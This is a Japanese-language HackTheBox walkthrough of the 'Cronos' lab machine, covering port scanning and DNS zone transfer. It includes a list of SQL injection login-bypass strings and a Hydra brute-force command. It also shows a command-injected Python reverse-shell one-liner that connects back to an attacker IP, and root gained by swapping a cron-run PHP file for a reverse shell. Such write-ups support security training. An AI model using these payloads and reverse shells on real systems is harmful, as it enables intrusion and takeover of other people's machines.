【HackTheBox】Cronos - Writeup -


【HackTheBox】Cronos

Enumeration(ポート列挙)

#nmap -T5 --min-rate 10000 10.10.10.13                         
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

#nmap -sV -Pn -p22,53,80 -A 10.10.10.13
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

DNSサービスがあるので、詳しく調べていく。

DNS Zone Transfer とは

インターネットのドメイン名をIP解決するためにはDNSサーバーが使われる。
DNSサーバにはマスターとスレーブ(プライマリとセカンダリ)がそれぞれある。

セキュリティホールとなるのはDNSゾーン転送の相手のDNSを指定しない時。
マスターDNSにある情報がそのまま受け渡ってしまうからである。

digコマンドでは axfr オプションでゾーン転送プロトコルを指定して使うことができる。

#dig axfr cronos.htb @10.10.10.13 #domain@IPADDR

; <<>> DiG 9.16.4-Debian <<>> axfr cronos.htb @10.10.10.13
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13
ns1.cronos.htb.         604800  IN      A       10.10.10.13
www.cronos.htb.         604800  IN      A       10.10.10.13
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 167 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Sun Jul 12 16:04:02 JST 2020
;; XFR size: 7 records (messages 1, bytes 203)

admin.cronos.htbがあるのでそこへアクセスしてみる。

ユーザーネームとパスワードが求められる。

ユーザーネームはSQLインジェクションで固定のものを使い、パスワードはブルーとフォースする。

# SQLインジェクション一覧
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1-- 

ちなみに、ユーザーネームはURLエンコードしておく。

Hydra でブルーとフォースパスワード

hydra -l(固定ユーザーネーム) -L(ユーザーネームリスト) -P(パスワードリスト) http-[get|post\|etc]-form :/入力変数=^入力値^ :失敗メッセージ
hydra -l admin' # -P /usr/share/wordlists/rockyou.txt admin.cronos.htb http-post-form "/:password=^PASS^:Login Failed" 

ログイン成功。

Nettool

BurpSuiteでリクエストをインターセプトして、書き換える。

➜ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.32] from (UNKNOWN) [10.10.10.13] 60420

すぐ切れてしまう。

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

host=上記のPythonコード&host=;とすると、上手くいった。

リバースシェルはここのものを参考: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
いつもお世話になっております

ユーザー情報とOSを確認

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ uname -a
Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
$ whoami
www-data

ps -efを走らせると、cronがサービスとして起動している(HTBの名前 Cronos から察した)

cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *   root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
#

php /var/www/laravel/artisanをrootで時々、実行しているので
また先ほどのリバースシェル(PHP)と書き換えると、rootが取れます。

学んだこと

  • DNSを調べずにhttpウェブサイトでかなり時間を消費してしまったので、DNSがある時は必ずDNSを調べる。

気が付いていたら、こんなことまでしていました。

SessionID secure属性/httponly属性を確認
➜  ~ curl -I http://cronos.htb
HTTP/1.1 200 OK
Date: Sun, 12 Jul 2020 06:32:25 GMT
Server: Apache/2.4.18 (Ubuntu)
Cache-Control: no-cache, private
Set-Cookie: XSRF-TOKEN=eyJpdiI6IlBZRzdWUHduNnhiQzBXVUI2VjRHOEE9PSIsInZhbHVlIjoiNE1aZVlRK3dtTXlMQ0ZYcHZ0WmpPZHhvaG80NFpMUjk3OGdoM1wveWU4Q0JjazAwNStNXC9pTUtWdlhoa1JrTVg3a1RcL21od3A3ejlUY05vRlRBbzVMSGc9PSIsIm1hYyI6IjVhM2E1ZDNlZjYyODk3Y2NkY2ZjMmIwZGQ1YTZlZjMzMjdmZTU0NTE4MDliMzU1MTQ3Zjk1NDA1OWUwN2JiYjIifQ%3D%3D; expires=Sun, 12-Jul-2020 08:32:25 GMT; Max-Age=7200; path=/
Set-Cookie: laravel_session=eyJpdiI6IjNhenpaQnZ5QWRYZURpQmx4TWRvNWc9PSIsInZhbHVlIjoieDdOaGhCcmlBVFRIUUxrRG9uXC9xQ0RzSWF4MjNDVDBUNWI4cmVtaUtSUHpvam1JSnJHVG9WWkJjOEx2OUM4TFUzU1lpODFSd2pRWFdcL1Ardmo0XC9kOEE9PSIsIm1hYyI6ImM5YjBkYzJkNTMyZjZkMDFhN2FhMGU1Yjg3NzVjNmJmMzk5NjE5MGY1NjEzYTM4MDRiZmU3M2I4M2EwYjc2NjcifQ%3D%3D; expires=Sun, 12-Jul-2020 08:32:25 GMT; Max-Age=7200; path=/; HttpOnly

読んでくれた方、ありがとうございます
質問や改善点があれば、ぜひコメントをお願いします~